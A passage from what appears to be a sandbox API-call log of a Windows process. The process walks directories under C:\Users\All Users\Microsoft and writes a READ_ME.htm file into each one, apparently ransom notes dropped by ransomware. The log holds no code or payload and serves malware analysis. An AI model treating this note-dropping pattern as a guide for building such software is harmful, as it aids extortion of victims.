hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f9cb440, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f9cb440, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9cb440, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0141.958] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0141.958] SetErrorMode (uMode=0x0) returned 0x1 [0141.958] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\READ_ME.htm", lpFilePart=0x0) returned 0x45 [0141.958] SetErrorMode (uMode=0x1) returned 0x0 [0141.958] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\netframework\\breadcrumbstore\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0141.958] GetFileType (hFile=0x1d0) returned 0x1 [0141.958] SetErrorMode (uMode=0x0) returned 0x1 [0141.958] GetFileType (hFile=0x1d0) returned 0x1 [0141.959] WriteFile (in: hFile=0x1d0, lpBuffer=0x2904888*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x2904888*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0141.960] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\NetFramework\\READ_ME.htm", lpFilePart=0x0) returned 0x35 [0141.960] SetErrorMode (uMode=0x1) returned 0x0 [0141.960] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\netframework\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0141.960] GetFileType (hFile=0x1d0) returned 0x1 [0141.960] SetErrorMode (uMode=0x0) returned 0x1 [0141.960] GetFileType (hFile=0x1d0) returned 0x1 [0141.960] WriteFile (in: hFile=0x1d0, lpBuffer=0x2908e28*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x2908e28*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0141.961] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network", lpFilePart=0x0) returned 0x24 [0141.962] SetErrorMode (uMode=0x1) returned 0x0 [0141.962] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\*" (normalized: "c:\\users\\all users\\microsoft\\network\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4fa17700, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa17700, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0141.962] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4fa17700, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa17700, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.962] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f9f15a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9f15a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 1 [0141.963] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f9f15a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9f15a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 1 [0141.963] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fa17700, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fa17700, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa17700, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0141.963] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fa17700, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fa17700, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa17700, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0141.963] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0141.964] SetErrorMode (uMode=0x0) returned 0x1 [0141.964] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network", lpFilePart=0x0) returned 0x24 [0141.964] SetErrorMode (uMode=0x1) returned 0x0 [0141.964] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\*" (normalized: "c:\\users\\all users\\microsoft\\network\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4fa17700, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa17700, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0141.965] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4fa17700, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa17700, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.965] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f9f15a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9f15a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 1 [0141.965] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f9f15a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9f15a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 1 [0141.965] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fa17700, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fa17700, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa17700, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0141.965] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fa17700, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fa17700, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa17700, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0141.965] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0141.965] SetErrorMode (uMode=0x0) returned 0x1 [0141.966] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\Connections", lpFilePart=0x0) returned 0x30 [0141.966] SetErrorMode (uMode=0x1) returned 0x0 [0141.966] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\*" (normalized: "c:\\users\\all users\\microsoft\\network\\connections\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f9f15a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9f15a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0141.966] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f9f15a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9f15a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.966] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f9f15a0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f9f15a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9f15a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0141.966] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f9f15a0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f9f15a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9f15a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0141.967] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0141.967] SetErrorMode (uMode=0x0) returned 0x1 [0141.967] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\Connections", lpFilePart=0x0) returned 0x30 [0141.967] SetErrorMode (uMode=0x1) returned 0x0 [0141.967] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\*" (normalized: "c:\\users\\all users\\microsoft\\network\\connections\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f9f15a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9f15a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0141.968] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f9f15a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9f15a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.968] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f9f15a0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f9f15a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9f15a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0141.968] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f9f15a0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f9f15a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9f15a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0141.968] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0141.968] SetErrorMode (uMode=0x0) returned 0x1 [0141.968] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\READ_ME.htm", lpFilePart=0x0) returned 0x3c [0141.968] SetErrorMode (uMode=0x1) returned 0x0 [0141.968] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\network\\connections\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0141.969] GetFileType (hFile=0x1d0) returned 0x1 [0141.969] SetErrorMode (uMode=0x0) returned 0x1 [0141.969] GetFileType (hFile=0x1d0) returned 0x1 [0141.969] WriteFile (in: hFile=0x1d0, lpBuffer=0x2911020*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x2911020*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0141.970] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\Downloader", lpFilePart=0x0) returned 0x2f [0141.970] SetErrorMode (uMode=0x1) returned 0x0 [0141.970] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\*" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f9f15a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9f15a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0141.971] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f9f15a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9f15a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.971] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7606ea15, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0xffe39afb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr0.dat", cAlternateFileName="")) returned 1 [0141.971] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7606ea15, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0xffe85dbc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr1.dat", cAlternateFileName="")) returned 1 [0141.971] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f9f15a0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f9f15a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa17700, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0141.971] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f9f15a0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f9f15a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa17700, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0141.971] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0141.971] SetErrorMode (uMode=0x0) returned 0x1 [0141.971] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\Downloader", lpFilePart=0x0) returned 0x2f [0141.972] SetErrorMode (uMode=0x1) returned 0x0 [0141.972] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\*" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f9f15a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9f15a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0141.972] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f9f15a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9f15a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.972] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7606ea15, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0xffe39afb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr0.dat", cAlternateFileName="")) returned 1 [0141.972] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7606ea15, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0xffe85dbc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr1.dat", cAlternateFileName="")) returned 1 [0141.972] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f9f15a0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f9f15a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa17700, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0141.972] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f9f15a0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f9f15a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fa17700, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0141.973] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0141.973] SetErrorMode (uMode=0x0) returned 0x1 [0141.973] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\READ_ME.htm", lpFilePart=0x0) returned 0x3b [0141.973] SetErrorMode (uMode=0x1) returned 0x0 [0141.973] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0141.973] GetFileType (hFile=0x1d0) returned 0x1 [0141.973] SetErrorMode (uMode=0x0) returned 0x1 [0141.974] GetFileType (hFile=0x1d0) returned 0x1 [0141.974] WriteFile (in: hFile=0x1d0, lpBuffer=0x29174e0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x29174e0*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0141.974] GetFullPathNameW (in: 